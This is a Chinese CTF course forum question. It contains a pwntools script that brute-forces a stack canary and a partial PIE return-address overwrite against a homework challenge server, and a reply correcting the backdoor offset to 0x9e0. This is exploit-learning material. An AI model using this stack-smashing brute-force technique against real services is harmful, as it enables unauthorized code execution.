首页
社区
课程
招聘
作业:canary_01问题。本地可以爆破成功,远程失败,没有调试思路

问题描述

作业:canary_01即protect_full,本地爆破Canary和PIE成功,远端爆破Canary成功,PIE失败,想了解利用是否有问题

问题出现的环境背景及自己尝试过哪些方法

本地虚拟机:课程提供的Ubuntu 20.04 64位
利用思路:期望将ret值的低2字节改为backdoor的值从而绕过PIE

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
 
elf = ELF("./protect_full")
# libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process([elf.path])
p = remote('123.59.196.133', '10015')
 
canary = '\x00'
while len(canary) < 8:
    for i in range(0x100):
        payload = ''
        payload += 'a' * 0x18
        payload += canary
        payload += p8(i)
        p.sendafter('Okay', payload)
        if not p.recvline_contains('stack smashing detected', timeout=1):
            canary += p8(i)
            break
 
canary = u64(canary)
 
backdoor = 0x8e4
for i in range(0x10):
    k = i << 12
    payload = ''
    payload += 'a' * 0x18
    payload += p64(canary)
    payload += 'b' * 8
    payload += p16(backdoor + k)
    p.sendafter('Okay', payload)
    buf = p.recv()
    if b'flag' in buf:
        print(buf)
        break
 
p.interactive()

相关调试信息

附图或描述

你期待的结果是什么?实际看到的错误信息又是什么?

期望了解远端PIE爆破失败的问题在哪,脚本是否有问题

收藏
2条回答
jelasin 2024-3-9 2024-3-9编辑

backdoor是0x9e0,更新了

回复 已采纳
Art1cuno: 搞定了谢谢师傅
回复 2024-3-9
mb_udrekzgh: 大佬加我qq帮我个事情呗2671511587
回复 2024-3-19
路遥见马力: 舌头舔着牙齿怎么老是舔着缩不回去了
回复 2024-3-20
gaoweb 2024-7-4

mark

回复
CTF PWN 入门之旅 : Linux pwn 探索篇
  参与学习     62 人
  提问次数     20 个
《Linux pwn 探索篇》;从0到1,打造坚实的Pwn基础
我的问答 领取收益
0
我的提问
0
我的回答
0
学习收益